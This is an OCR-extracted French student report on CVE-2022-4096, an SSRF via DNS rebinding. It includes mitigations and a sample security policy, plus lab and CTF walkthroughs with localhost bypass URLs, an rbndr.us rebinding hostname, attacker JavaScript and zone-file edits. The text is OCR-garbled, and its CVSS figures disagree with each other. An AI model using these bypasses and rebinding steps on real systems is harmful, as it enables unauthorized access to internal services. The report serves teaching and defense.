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Introduction

Dans ce projet, nous traitons une vulnérabilité dans l'infrastructure web per-
mettant d’accéder ou modifier le contenu d’un serveur web. Cela peut engendrer
des conséquences négatives sur la confidentialité et 'intégrité des données.

Nous abordons dans ce rapport la vulnérabilité CVE - 2022—4096 trouvé par
un enthousiaste de cybersécurité nommé Basavaraj le 13 octobre 2022 [I].Cette
vulnérabilité de type SSRF (Server-Side Request Forgery) affect la plateforme
open-source Appsmith congue pour créer, déployer et maintenir avec du low code
des applications internes d’'une entreprise|2].11 se base sur une technique appelée
DNS Rebinding pour manipuler le service DNS et accéder a des ressources pro-
tégées.

Dans ce projet, nous analysons tous les facettes de cette faille, les actions préven-
tives et comment il peut étre exploité.Notre rapport est composé comme suit :

- Dans La premiére partie appelée "Présentation de la faille" nous propo-
sons une introduction générale de la vulnérabilité, I’architecture typique de I'une
de ces exploitations ainsi les bonnes pratiques a suivre pour limiter ses impacts.

- Dans La deuxieme partie appelée "Exploit de la faille" nous présentons
une maniére d’exploiter la vulnérabilité présentée dans le chapitre précédent.



I - Présentation de la faille

1 - Généralités

Une attaque SSRF (Server-Side Request Forgery) consiste & abuser des fonc-
tionnalités d’un serveur pour accéder ou modifier des ressources. L’attaquant cible
une application qui prend en charge les importations de données a partir d’'URL
ou qui leur permet de lire des données a partir d’"URL. En choisissant judicieuse-
ment ces URL, I'attaquant peut avoir accés a la configuration du serveur, comme
les métadonnées AWS, se connecter a des services internes tels que des bases de
données ou envoyer des demandes a des services internes qui ne sont pas censés
étre accessibles. [3]

Le DNS Rebinding est une méthode de manipulation de la résolution de noms
de domaine. Dans cette attaque, une page web ameéne les visiteurs a exécuter un
script coté client qui attaque des machines ailleurs sur le réseau. [5]

La vulnérabilité présentée dans ce rapport permet a un attaquant de lancer des
requétes malveillantes via la technique de DNS Rebinding expliquée avant. Cela
peut entrainer la fuite de données sensibles et compromettre la sécurité de 'ap-
plication.

2 - Score CVSS

Base Scores Temporal Environmental Qverall CVSS Base Score: 8.8

10.0 10.0 10.0 10.0 Impact Subscore: 5.9

8.0 8.8 8.0 8.0 8.0 8.8 Exploitability Subscore: 2.8

6.0 6.0 6.0 6.0 CVSS Temporal Score: NA
5.9

4.0 1 - 4.0 4.0 4.0 - CVSS Environmental Score: NA
2.0 2.8 2.0 2.0 2.0 Modified Impact Subscore: NA
0.0 | L L 0.0 0.0 0.0 | Overall CVSS Score: 8.8

Base Impact  Exploitability Temporal Environmental  Modified Impact Overall
Show Equations

FIGURE 1 — Score CVSS

D’aprés I'Institut national des normes et de la technologie (NIST), Le score CVSS
(Common Vulnerability Scoring System) est une mesure qui quantifié la gravité
d’une vulnérabilité, dans le cas de cette faille, il est égal a 8,5, ce qui indique que
la vulnérabilité est de forte gravité. Ce score est déterminé par le score de base
égale a 8,8 'impact global de la vulnérabilité sur le systeme affecté qui est égal a
5,9 ainsi son exploitabilité 2,8 qui mesure a quel point il est facile de 'exploiter. [4]



3 - Programme compromis

I1 est difficile de déterminer quel programme est compromis exactement pour
cette vulnérabilité, cela pourrait étre n'importe quelle application ou service qui
prend en charge les importations de données a partir d’URL ou qui permet de lire
des données a partir d’'URL, et qui est exécuté sur un serveur vulnérable comme :

* Les applications web qui prenne en charge les imports de données a partir
d’URL (par exemple, un systéme de gestion de contenu qui permet aux utilisa-

teurs de télécharger des images a partir d’'URL)

* Les applications de surveillance de réseau qui utilisent des requétes pour ré-
cupérer des données a partir d’'URL.

* Les applications de sauvegarde qui téléchargent des données a partir d’'URL
pour créer des sauvegardes

4 - Type de compromission

Cette faille peut entrainer plusieurs types de compromission, en fonction de
I’application ou du service qui est ciblé :

* Accés & des données sensibles : un attaquant peu accéder & des données
internes qui ne devraient pas étre exposées publiquement, comme des bases de
données ou des fichiers de configuration.

* Exécution de commandes : un attaquant peut exécuter des commandes
sur le serveur ciblé, permettant ainsi de prendre le controle du systéme.

* Déni de service (DoS) : un attaquant peut envoyer des requétes mal-
veillantes a un service ou a une application interne, causant ainsi un déni de
service.

5 - Explication du mécanisme d’exploit

— Tout d’abord, I'attaquant commence a tenter avec des adresses usuellement
attribuées a la machine local de la victime comme : http ://localhost,
http ://127.0.0.1, http :127.0.0.2, etec.

— Si la premiére étape ne donne pas des résultats, 'attaquant peut modi-
fier des en-tétes HT'TP comme X-Originating-IP,X-Forwarded-For,X-
Remote-IP et X-Remote-Addr en remplacant ’adresse source par une
adresse locale potentielle de la victime.

— Dans le cas ol le pare-feu de la victime bloque les deux premiéres techniques,
I’attaquant peut considérer la méthode du DNS rebinding.



5-1 DNS Rebinding [5]

DNS rebinding est une technique permettant de manipuler les services DNS
pour accéder & un réseau interne, on exploitait les deux concepts SOP (Same-
origin policy) et TTL (Time to live).

— SOP : Les navigateurs Web utilisent la politique de méme origine (SOP)
comme mécanisme de défense pour restreindre la maniére dont les sites Web
d’une origine peuvent interagir avec les sites web d’autres origines. L’origine
d'un site Web est définie par le protocole, le domaine et le port. Les sites
Web appliquant la politique de 'origine identique limitent les interactions
avec les sites d’origine différents.

— TTL : Dans un systéme DNS, le temps de vie (TTL) définit la durée en
secondes pendant laquelle un enregistrement peut étre mis en cache avant
qu’'un serveur web ne réinterroge le serveur DNS pour obtenir une autre ré-
ponse.

Pour implémenter ces deux principes, L’attaquant enregistre un nom de domaine
et il le délegue a un serveur DNS qu’il contrdle.Soit une victime connectée a
I'Internet avec une machine de I’entreprise ayant une adresse IP X.X.X.X dans le
réseau local de 'organisme. La visite le site Web enregistré par ’'attaquant. Le
serveur DNS controlé par I'attaquant envoie l'adresse IP correcte, mais avec un
TTL trés court pour éviter que la réponse soit mise en cache. La victime télécharge
une page contenant un code malveillant qui lie ’adresse IP locale au serveur DNS
de l'attaquant. Le nom de domaine enregistré pointe désormais vers X.X.X.X,
et comme cette IP a la méme origine, le code de 'attaquant peut exfiltrer les
informations et les données sensibles de I’entreprise.

6 - Architecture de ’exploitation de la faille

Cette figure illustre le mécanisme d’une attaque DNS Rebinding a ’aide d’'un
exemple hypothétique.Dans cet exemple, la victime posseéde un service web privé
dans son réseau interne Home Network avec 1'adresse IP 192.168.60.80. Ce
serveur contient des données confidentielles et est censé étre accessible uniquement
par 'ordinateur de la victime. Ensuite on simule le monde extérieur par le réseau
Outside Network qui contient trois conteneurs, 'un servant de serveur DNS
local, et les deux autres servant de nameserver et de serveur web de 'attaquant.
les deux réseau sont connectés par un routeur qui joue le role d'un firewall.

Les services associés sont les serveurs internes d’une entreprise sans protections
contre ce type d’attaque. La victime travail dans une machine de l’entreprise
connectée au réseau de local de I'établissement et accessible par 'extérieur.

La victime visite un site web malveillant hébergé par I'attaquant avec son propre
serveur DNS(1), lattaquant envoi la bonne adresse IP, mais avec un temps de

vie trés courte(2). Le site web de I'attaquant contient un code qui permet de

lier 'adresse locale de la victime avec le serveur DNS de l'attaquant (3), Par
conséquence, 'attaquant obtient un accés direct a la machine de I'entreprise.



FIGURE 2 — Architecture de 'exploitation de la faille

7 - Limiter 'impact de I’exploitation de faille

Il existe plusieurs méthodes pour limiter la menace de cette vulnérabilité,
mais il est important de noter qu’elles ne sont pas exhaustives et qu’il est préfé-
rable de combiner entre elles pour une meilleure protection.

* Configurer les Web Application Firewall (WAF) pour détecter et bloquer les
attaques SSRF via DNS rebinding en filtrant les requétes malveillantes. [0]

* Configurer les régles de pare-feu pour bloquer les requétes provenant d’adresses
IP qui changent rapidement, ce qui empéche les attaques de DNS rebinding.

* Utiliser des outils de détection d’intrusion pour compléter les pare-feux, ces
derniers peuvent étre utilisés pour détecter les tentatives d’attaque et prendre les
mesures nécessaires pour les bloquer. [7]

* Utiliser des politiques de restriction de domaine, ce qui permet de limiter les
requétes autorisées & un ensemble de domaines spécifiques.



8 - Extrait de la PSSI

Dans le contexte dans lequel notre CVE - 20224096 peut étre une moyenne
pour exfiltrer les machines d’'une entreprise. Le département des systémes d’infor-
mation doit suivre une Politique de Sécurité des Systémes d’'Information (PSSI)
qui permet de définir les régles a appliquer pour assurer un niveau de sécurité
optimal dans l'organisme. Puisque, il permet de définir les objectifs, la criticité
de la faille et les mesures préventives et correctives a prendre pour protéger les
systemes d’information d’une entreprise. La PSSI est un document indispensable
du Systéme de Management de la Sécurité des Informations (SMSI).

Dans la partie suivante, nous proposons un exemple d’'une PSSI adapté aux at-
taques lié¢ a la CVE étudiée, Pour ce faire, nous s’appuyons sur les guides de
rédactions selon les normes pour rédiger notre PSSI.[§]

8 - 1 Objectif

Chaque entreprise doit étre concernée par la sécurité de ces systémes d’in-
formation pour protéger les données personnels des clients, les informations sur la
stratégie interne de ’entreprise, son état financier, la liste de ces collaborateurs,
etc. Ainsi, 'organisme peut étre sanctionné s’il ne respecte pas quelque normes
de sécurité imposée par 1’état.Cependant, ces mesures ne doivent pas affecter 1'ef-
ficacité de ces services afin d’assurer une bonne performance pour le client. Il est
important de souligner sur le fait que cette politique n’est pas congue pour empé-
cher complétement 'accés non autorisé aux systémes de 'entreprise, mais plutot
pour réduire les risques d’attaques extérieures.

8 - 2 Criticité de la faille

Pour mesurer la criticité de cette faille, nous utilisons le score CVSS (Com-
mon Vulnerability Scoring System),c’est une métrique qui donne un score entre (
et 10 selon une équation bien définit suivant des normes internationales. Pour la
vulnérabilité étudiée (CVE - 2022-4096) le score est égale a 8.5 ce résultat peut

étre justifié par les facteurs suivants : . [4]

— L’impact sur la confidentialité - Grand : I'exploitation de la vulnéra-
bilité peut engendrer un accés total a toutes les données du systéme sous
attaque.

— L’impact sur l'intégralité - Grand : En dépassent la politique du méme
origine (SOP) l'attaquant a un acceés direct aux ressources de la machine,
Ainsi, il peut altérer les données et affecter I'intégralité du systéme.

— L’impact sur la disponibilité - Moyenne : Puisque le volume des de-
mandes recues par les serveurs internes est généralement beaucoup plus faible
que le trafic public, ils sont configurés pour une bande passante plus faible.
Un attaquant qui a accédé au systéme interne en utilisant cette faille peut
envoyer de grandes quantités de trafic afin de consommer toute la bande
passante disponible et de faire tomber les serveurs internes.



— La complexité de ’exploitation - Moyenne : 'attaquant doit avoir des
notions de bases en réseau, ainsi, il doit configurer son propre serveur DNS
et héberger son nom de domaine.

— La nécessité d’une authentification - Non : Aucune authentification
n’est nécessaire pour exploiter cette vulnérabilité.

8 - 3 Action préventive et curative

— Pour ’'administrateur du serveur :
— Mettre a jour les services vulnérables comme Appsmith.

— Suivre le principe de moindre privilége pour limiter la propagation des
cyberattaques.

— Utiliser les outils de détection d’intrusion.
— Utiliser les certificats TLS.

— Implémenter un pare-feu local (dnswall) qui filtre les réponses DNS et re-
jette les adresses locales.

— Utiliser un serveur DNS public externe (par exemple, OpenDNS) pour
mettre en ceuvre le filtrage DNS.

— Isoler les systémes compromis en cas d’attaque et bloquer 'accés a I'inter-
net.

— Identifier les backdoors qui peuvent étre utilisé par I’attaquant pour renter
dans le systéme.

— Restaurer les derniéres sauvegardes et snapshots avant 'attaque.
— Pour les utilisateurs du serveur :

— Ne pas accéder a des sites web inconnus.

— Changer les mots de passe aprés une attaque.

— Limiter l'accés a l'internet en utilisant les machines de 1’entreprise.

— S’informer sur les types d’attaques qui utilise I'ingénierie sociale.



IT - Exploit de la faille

Dans ce chapitre, nous allons décrire comment nous avons exploité la faille
de sécurité identifiée. Nous allons détailler les étapes que nous avons suivies pour
reproduire la faille et les méthodes que nous avons utilisées pour l'exploiter & des
fins malveillantes.

Nous allons démontrer deux exploits, 'un dans le cadre d’un lab CTF (Capture
The Flag) et Pautre en construisant un environnement conteneurisé pour la faille.

1- L’environnement de ’attaque

1-1 CTF

Lazy Panda est Uue application hébergée sur le serveur http : //20.111.40 :1337
par une entreprise qui s’appelle IntelliSec. Cette application contient une barre
de recherche avec une option placeholder=https ://google.com et un bouton de
soumission que nous pouvons les utiliser pour soumettre une URL.
L’application prendre une capture d’écran du site web adressé par ce URL donné
en entrée.L’application indique que le flag se trouve a 'adresse /flag.

Lazy Panda

Are you a lozy panda ? | can take a screnshot for your URL

Your task is to get the flag located ot /flag

URL  httpsi//google.com

FIGURE 3 — Le lab

2-1 Dans ’environnement conteneurisé construit

Nous utiliserons six machines. La configuration de I’environnement est illus-
trée par la Figure 4. Seule la machine de I'utilisateur utilisera une VM, les autres
sont tous des conteneurs.



Router and Local Attacker’s Attacker’s
Firewall DNS Server Nameserver web server
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10.9.0.53
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Outside Network: 10.9.0.0/24
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FIGURE 4 — Architecture de 'exploit

Machine héte :

Une machine crée en utilisant I'image de Kali disponible sur le site officiel de
Kali. Ces images ont les informations d’identification par défaut "kali/kali".

NB : cette expérimentation fonctionne bien dans les distributions Ubuntu > 20.04,
en suivant les démarches citées dans le fichier README.md.

§¥ Oracle VM Virtual Box - Gestionnaire de machines - [m] X

Fichier Machine Aide

1P = e
) o |f< )
gl Outils {v:} w
Nowelle Configuration  Oublier ~ Afficher
B General | previsualisation
7D :
Ji H Nom 3
virtualbox-amde4
Systéme dexploitation : Debian (64-bit)

[ system
.

FIGURE 5 — Machine hote

— Nous avons deux réseaux, un réseau Home qui simule un réseau typique a la
maison et un réseau extérieur. La machine utilisateur et les services IoT sont
connectés a ce réseau, qui est protégé par le pare-feu du conteneur routeur.

— Le Firewall bloque tout le trafic allant vers l'adresse 192.168.60.80. De
cette facon, les machines extérieures ne peuvent pas accéder a ’appareil IoT.

— Nous avons également mis en place un serveur NAT sur le routeur, de sorte
que les machines sur le réseau domestique peuvent accéder a l'extérieur.

— Le deuxiéme réseau simule le monde extérieur. En plus d’un routeur, trois
conteneurs sont attachés a ce réseau, I'un servant de serveur DNS local, et
les deux autres servants de nameserver et le serveur web de 'attaquant.

— L’attaquant posséde le domaine attacker32.com, qui est hébergé par le conte-
neur du serveur de noms de 'attaquant.



— le conteneur du serveur de noms de 'attaquant. Le serveur Web héberge un
site Web malveillant utilisé pour 'attaque.

2- Simulation de ’attaque

2-1 CTF

Dans cette partie, nous allons montrer la premiére exploitation de la faille,

dans le cadre d'un CTF que j’ai passé pour un entretien stage, et que je le trouve
intéressant de le partager avec vous.
NB : Vous trouverez notre simulation pour reproduire la faille dans la deuxiéme
partie de ce chapitre avec les fichiers Docker nécessaires et pas dans cette partie,
car le serveur de l'entreprise est indisponible maintenant. Sur ce, cette partie est
optionnelle.

2-1-1 Résoudre ce lab et trouver le flag

L’application Lazy Panda est hébergée sur http ://20.111.40.189 :1337, il
dit que le flag est localisé dans /flag, donc on va essayer d’ajouter /flag dans le
chemin de 'URL.

L’application Lazy Panda renvoie 'image d'un personnage fictif, "Philip J.
Fry". avec deux phrases. "SUNNY SKIES AND RAINBOW FLAGS" et
"TRY AGAIN" ce qui signifie que le drapeau n’est pas la.

En réfléchissant a deux fois a la phrase "SUNNY SKIES AND RAINBOW FLAGS",
nous pouvons déterminer qu’il y a un indice sur le type de vulnérabilité poten-

tielle, en prenant pour chacun de ces mots. la premiére lettre, on peut penser a
lattaque SSRF. (SUNNY |, SKIES , RAINBOW , FLAGS)

Screenshot for 20.111.40.189

SUNNY SKIES AND RAINBOW FLAGS

FIGURE 6 — Machine hote

2-1-2 Local IP bypass

Habituellement, nous constatons que le SSRF ne fonctionne que dans certains
domaines ou URL de la liste blanche. Nous pouvons donc essayer d’accéder en

tant que localhost en utilisant cette liste :
— http ://localhost :1337

— http ://127.0.0.1 :1337

10



— http ://127.0.0.2 :1337

— http ://127.0.0.X :1337 (X : [3,255])

— http ://127.0.0.X :1337 [3 <—> 255]

— http ://127.1 :1337

— http ://127.0.1 :1337

— Decimal bypass : http ://2130706433/ = http ://127.0.0.1

— Hexadecimal bypass : http ://0x7f000001/ = http ://127.0.0.1
L’application Lazy Panda bloque tous ces types de demandes en indiquant IP not
allowed, de sorte que nous ne pouvons pas accéder facilement & cette application
en tant qu’hote local.

IP not allowed

Your task is o get the flag located at /flag

FIGURE 7 — Screenshot de http ://localhost :1337

Le rebinding DNS est utile pour contourner les configurations qui résolvent le do-
maine donné et le vérifie par rapport a une liste blanche, puis essaie d’y accéder
a nouveau (puisqu’il doit résoudre le domaine & nouveau, une IP différente peut

étre servie par le DNS).

En utilisant ce site web de rebinding dns :

https ://lock.cmpxchg8b.com /rebinder.html, nous pouvons générer un nom
d’hote en entrant deux adresses IP entre lesquelles nous voulons basculer. Le nom
d’hote généré par nom d’hote généré sera résolu de maniére aléatoire vers l'une
des adresses spécifiées avec un trés faible ttl (time-to-life).

FIGURE 8 — dns rebinding

Maintenant, nous essayons de faire une capture d’écran de ’'URL suivante
http ://7f000001.146f28bd.rbndr.us :1337 /flag. la réponse du serveur peut
prendre 3 cas :

— IP not allowed : L’application Lazy Panda bloque cette requéte a cause du

hostname 7f000001.146f28bd.rbndr.us qui prend le comportement de I’adresse
IP 127.0.0.1 que nous savons que 'application Lazy Panda va bloquer.

11



Lazy Pomcla

ke a screnshot for

Your task is to get the flag located ot /flag

FIGURE 9 — Screenshot for http ://localhost :1337

— Successfully cached 7f000001.146f28bd.rbndr.us :

— la page avec la phrase try again. application Lazy Panda ne bloque pas

cette requéte et prend une capture d’écran de la page avec 'adresse IP
20.111.40.189 a cause du hostname 7f000001.146f28bd.rbndr.us qui prend
le comportement de I'adresse TP 20.111.40.189 pendant toute la période
de la requéte.

Screenshot for 7§000001.14628bd.rbndr.us

==
S

TRY/AGAIN

FiGURE 10 - Try again

— image avec le flag : FLAG{INTELLISEC PFE 2022 2023} :nous

pouvons constater que l'application Lazy Panda ne bloque pas cette re-
quéte et prend une capture d’écran de la page avec 'adresse IP 127.0.0.1 &
cause du hostname 7f000001.146f28bd.rbndr.us qui prend initialement le
comportement de ’adresse IP 20.111.40.189 et ensuite dans un deuxiéme
temps le hostname 7f000001.146f28bd.rbndr.us prend le comportement de
I’adresse ip 127.0.0.1 pendant la période de la requéte.

Screenshot for 7f000001.8efbd3e4.rbndr.us

E FLAG{INTELLISEC PFE" 2022 2023}

l

e

FicURE 11 — FLAG{INTELLISEC PFE 2022 2023}
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Pour résumer ces cas de figures : on donne le roadmap suivant de ’application.
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if (7f000001.146f28bd.rbndr.us == 20.111.40.189)
>

A,
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IP not allowed URL can't be empty

v

Invalid scheme

v

Invalid domain FLAG{INTELLISEC_PFE_2022 2023} SUNNY SKIES AND RAINBOW FLAGS
(SSFR) [hint]

FIGURE 12 — Roadmap de ’application
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2-2 Dans ’environnement conteneurisé construit

2-2-1 Configuration et commandes du conteneur

Nous commencons, par le build des images fournies dans le docker-compose.yaml,
il présente les différents services (conteneurs, volumes, réseaux ...) en utilisant la
commande ( § docker-compose build), et on utilise apres ( § docker-compose up)
pour lancer les conteneurs.

, router, iot-19

TRL+C to quit)

CTRL+C to quit)

FIGURE 13 — construction de I’environnement de ’exploit

Tous les conteneurs sont exécutés en arriére-plan, en utilisant la commande ( §
docker ps)

[:jtjﬂﬂ’a kali)-[/

TAINER ID
25 minut

minut
5 minut
25 minut
25 minutes Up 25 min

FIGURE 14 — Conteneurs crées
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2-2-2 Configuration de la VM de I’utilisateur

Etape 1. On Réduit le temps de mise en cache des DNS de Firefox : Pour
réduire la charge des serveurs DNS et accélérer le temps de réponse, le navigateur
Firefox met en cache les résultats DNS.Par défaut, le délai d’expiration du cache
est de 60 secondes. Cela signifie que notre attaque de rebinding DNS doit attendre
au moins 60 secondes.

@ | %3 Advanced Preferences x |+

& C @ Firefox  about:config bid |

dnsca‘

network.dnsCacheEntries 400 rd
network.dnsCacheExpiration 0

network.dnsCacheExpirationGracePeriod 60

dnsca O Boolean Number String aF

FIGURE 15 — changement de la valeur de dnsCacheExpiration

Etape 2. On Modifie /etc/hosts :
On utilise le nom de domaine www.seedloT32.com pour le serveur IoT. Son
adresse IP est 192.168.60.80.

E(root@ kali)-[/]

# /etc/hosts
127.0.0. localhost
i I kali

# The following lines are desirable for IPv6 capable hosts
0l localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# Devoir 2 SSI
192.168.60.80 ww . seedIot32.com

FIGURE 16 — lier le nom de domaine & ’adresse 1P
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Etape 3. On configure le serveur DNS local.

2-2-3 Test de notre configuration.

Apreés avoir configuré la VM utilisateur, on utilise la commande dig pour
obtenir I'adresse IP de www.attacker32.com.

(4;(rooto kali)-[/1

ww .attacker32.com

; <<>> DiG 9.18.8-1-Debian <<>> www.attacker32.com

;; global options: +cmd

;3 Got answer:

;3 —>HEADER<¢— opcode: QUERY, status: NOERROR, id: 17437

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

33 OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096

; COOKIE: 6285971adf3605680100000063cc879f2eccfea39bf26a3a (good)
33 QUESTION SECTION:
v.attacker32.com.

ANSWER SECTION:
.attacker32.com. 259200 1IN 10.9.0.180

; Query time: 12 msec

; SERVER: 10.9.0.53#53(10.9.0.53) (UDP)
; WHEN: Sat Jan 21 18:47:27 CST 2023

; MSG SIZE rcvd: 91

FIGURE 17 — Output de la commande dig

Nous pouvons maintenant tester le site web de l'attaquant. Dirigez le navigateur
vers 'URL suivante http ://www.attacker32.com/ sur la VM de l'utilisateur, et
nous pouvons voir le site web de I'attaquant.

O a attacker32.com

Attacker's Website

Attack Countdown 7

FIGURE 18 — le site web de 'attaquant
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2-2-4 Lancement de 1’attaque sur le serveur victime

1. Comprendre la politique de protection de I'origine identique ( Same-Origin
Policy )

Sur la VM de 'utilisateur, nous allons parcourir les trois URL suivantes.
- URL 1 : http ://www.seedloT32.com.
- URL 2 : http ://www.seedloT32.com/change.

- URL 3 : http ://www.attacker32.com/change.

Click the button to set the temperature to 99 °C

Click

Change Temperature

‘7‘;

Celsius °C

Click the button to set the temperature to 99 °C

Click

FIGURE 19 — accés aux 3 urls

Maintenant, en cliquant sur click dans 1'url qui contient le nom de domaine
du serveur http ://www.seedloT32.com/change, on remarque que la
température est passée a 99.

Change Temperature B+ Thermometer B

O a8 seediot32.com. ¥y ¢ C @ Q & www.seediot32.com

Click the button to set the temperature to 99 °C

Click

Celsius °C

FIGURE 20 — Changement de la température
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Ensuite, on essaye de faire la méme chose en utilisant le site de I'attaquant,
la température reste inchangée, avec ’erreur suivante.

Change Temperature

<

Click the button to set the temperature to 99 °C

Click I

(Y {:}In'-;;:wutm (] Console [ Debugger ‘N Network {3} Style Editor (D Performance L Memory 8 age 1
@l Errors Warnings Logs Info Debug CSS XHR R

Cross-0rigin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://www.seediot32.com/password.
(Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200. [Learn More]

»

FI1GURE 21 — Changement de la température

Le mot de passe dans password n’est pas destiné a l'authentification ; il est
utilisé pour déjouer I'attaque CSRF (Cross-Site Request Forgery). Sans cette
protection, une simple attaque CSRF est suffisante; il n’est pas nécessaire
d’utiliser 'attaque plus sophistiquée de rebinding DNS.

Pour des raisons de simplicité, nous avons codé le mot de passe en dur.

Dans les systémes réels, le mot de passe sera re-généré périodiquement.

. Déjouer la protection de la politique de méme origine

D’apreés ce qui précede, il semble impossible de régler la température du ther-
mostat a partir de la page de 'attaquant, en raison de la protection de la
politique d’origine du navigateur. L’objectif de cette partie est de vaincre une
telle protection, de sorte que nous puissions régler la température a partir
de cette page web de 'attaquant.

L’idée principale pour déjouer la protection de la méme origine vient du fait
que la mise en application de la politique est basée sur le nom d’héte, et
non sur l'adresse IP, donc tant que nous utilisons www.attacker32.com
dans I'URL, nous nous conformons a la politique du SOP.
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— Etape 1 : Modifier le code JavaScript.

— Sur le serveur web de 'attaquant, le code JavaScript qui s’exécute dans
la page www.attacker32.com/change est stocké dans le fichier suivant

Japp/rebind_server/templates/js/change.js.

Pour le modifier, on accéde au shell du conteneur de 'attaquant en mode
-it avec la commande
$ docker exec -1t <id_ container> bash

E( root@ kali)-[~]

i ps

CONTAINER ID PORTS NAMES

89566782327 local-dns-server-10.9.0.53
4d9495bb191f attacker-ns-10.9.0.153
ed188ea34015 iot-192.168.60.80
fe831b01c3eb6 router
attacker-ww-10.9.0.180

E(root@kali)—[—v]
# exec ea6904bc6f61 bash
rootgea6904bco6f61:/#t 1s

1ib 1ib64
bin 1ib32 1ibx32
root@ea6904bc6f61:/# |

FIGURE 22 — Accés au shell du conteneur attaquant

Et puis, on change le fichier change.js, et plus précisément la variable
url_prefix avec la valeur *http ://www.attacker32.com’.

rootpea6904bc6f61:/# cat /app/rebind_server/templates/js/change.js
let url_prefix = 'http://ww.attacker32.com’

function updateTemperature() {
$.get(url_prefix + '/password', function(data) {
$.post(url_prefix + '/temperature?value=99'
+ '§password='+ data.password,
function(data) {
console.debug('Got a response from the server!');
});
});
}

button = document.getElementById("change");
button.addEventListener("click", updateTemperature);
rootgea6904bc6f61:/# i

FIGURE 23 — Modification du fichier JS pour bypasser SOP

Finalement, on redémarre le conteneur pour que les modifications soient
appliquées.
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CONTAINER ID NAMES

8956678232f7 local-dns-server-10.9.0.53
4d9495bh191f attacker-ns-10.9.0.153
ed188ea34015 iot-192.168.60.80

fe831b01c3eb router
ea6904bc6f61 attacker-mww-10.9.0.180

’j( Q )‘["]
container restart ea6904bc6f61
ea6904bc6f61

FIGURE 24 — Modification du fichier JS pour bypasser SOP

nous réessayons de cliquer, et nous remarquerons que le SOP est vaincu,
car nous avons la méme origine que 1'hdte. Mais ce n’est toujours pas ce
que nous voulions. Nous voulons que les requétes aillent au serveur IoT.

485 METHOD NOT ALL
HTTP/1.0

375 B (178 B size)

FIGURE 25 — Bypasser la politique SOP

3. Etape 2 : Effectuer le rebinding DNS.

Pour changer le mappage DNS, nous pouvons modifier le fichier
zone_attacker32.com en accédant au shell du conteneur du nameserver
de I'attaquant.
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E(root@ kali)-[~]

# ps
CONTAINER ID PORTS NAMES
895667823217 local-dns-server-10.9.0.53
4d9495bb191f attacker-ns-10.9.0.153
ed188ea34015 iot-192.168.60.80
fe831b01c3eb router

ea6904bc6f61 attacker-ww-10.9.0.180

E(root@kali)-[ﬂ
# exec 4d9495bb191f bash
root@4d9495bb191f:/# 1s
bin 1ib32 1ibx32

1ib  1lib64
root@4d9495bb191f:/# |j

FIGURE 26 — Bypasser la politique SOP

Le fichier de zone se trouve dans le dossier /etc/bind. L'illustration suivante
montre le contenu du fichier de zone. La premiére entrée est la valeur par dé-
faut du Time-To-Live (TTL) (secondes) pour la réponse, spécifiant combien
de temps la réponse peut rester dans le cache DNS.

Maintenant, nous commentons la ligne qui lie 'adresse de l'attaquant au
nom de domaine www.attacker32.com, en utilisant ( ;), et nous utilisons
a la place 'adresse du serveur 192.168.60.80.

GNU nano 4.8 /etc/bind/zone_attacker32.com

SOA ns.attacker32.com. admin.attacker32.com. (
2008111001

8H

2H

A

1D)

NS ns.attacker32.com.

A 10.9.0.180
A 10.9.0.180
A 192.168.60.80
A 10.9.0.100

FIGURE 27 — DNS Rebinding
Apreés avoir apporté les modifications au fichier de zone, on exécute la com-

mande suivante pour demander au nameserver de recharger les données de
zone révisées : § rndce reload attacker32.com
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Grace aux manipulations effectuées précédemment, le mappage DNS pour
le site www.attacker32.com a déja été mis en cache par le serveur DNS
local. il n’expirera que 1000 secondes plus tard. Pour raccourcir I'attente, on
peut nettoyer le cache en utilisant la commande suivante (sur le serveur DNS

local).$ rndc flush

[i( ® i ok

ps

CONTAINER ID PORTS NAMES

89566782327 local-dns-server-10.9.0.53
4d9495bb191f attacker-ns-10.9.0.153
ed188ea34015 iot-192.168.60.80
fe831b01c3eb router

ea6904bc6f61 attacker-www-10.9.0.180

[f{ e )-[~]

exec 4d9495bb191f bash
root®4d9495bb191f:/# rndc reload attacker32.com
zone reload up-to-date
roota4d9495bb191f:/# rndc flush
root@4d9495bb191f: /# |

FIGURE 28 — Reload the revised zone data and clear the DNS cache

. Lancement de P’attaque

Apreés avoir effectué les manipulations précédentes, 'utilisateur peut régler

la température a la valeur dangereusement élevée en cliquant sur le bouton
click.

Change Temperature X  + Thermometer X +

C @ QO & www.attacker32.com/change 7 c o O a seediot32.com

Click the button to set the temperature to 99 °C

Celsius °C

FIGURE 29 — Température changée par I'attaquant

Fi1GURE 30 — La requéte POST est bien réussie
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Conclusion

Dans ce rapport, nous avons étudié la faille "CVE-2022-4096" classée cri-
tique avec un score de 85. Au début du rapport, une description générale de la
vulnérabilité a été fournie, incluant le programme compromis, le type de compro-
mission, le mécanisme d’exploitation, ainsi qu’'un extrait de la PSSI. Ensuite, la
deuxiéme partie a recouvert toutes les étapes a suivre pour simuler I'attaque avec
un bonus sous forme d’'un CTF.

Ce projet a été tres enrichissant et nous a permis d’améliorer nos connaissances
et compétences en matiere de sécurité. Il nous a également sensibilisés aux risques
liés aux attaques SSRF' et DNS rebinding en nous fournissant les connaissances
et les outils nécessaires pour les identifier et les prévenir.
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Glossaire

CVE : Common Vulnerabilities and Exposures

SSRF : Server-Side Request Forgery

DNS : Domain Name Systeme

URL : Uniform Resource Locator

NIST : National Institute of Standards and Technology
CVSS : Common Vulnerability Scoring System

DOS : Denial of Service

HTTP : Hypertext Transfer Protocol

SOP : Same-Origin Policy

TTL : Time to Live

WAF : Web application firewall

PSSI : Politique de Sécurité des Systémes d’Information
SMSI : Information security management system

TLS : Transport Layer Security

CTF : Capture the Flag

VM : Virtual machine

IoT : Internet of Things

NAT : Network address translation

CSRF : Cross-Site Request Forgery
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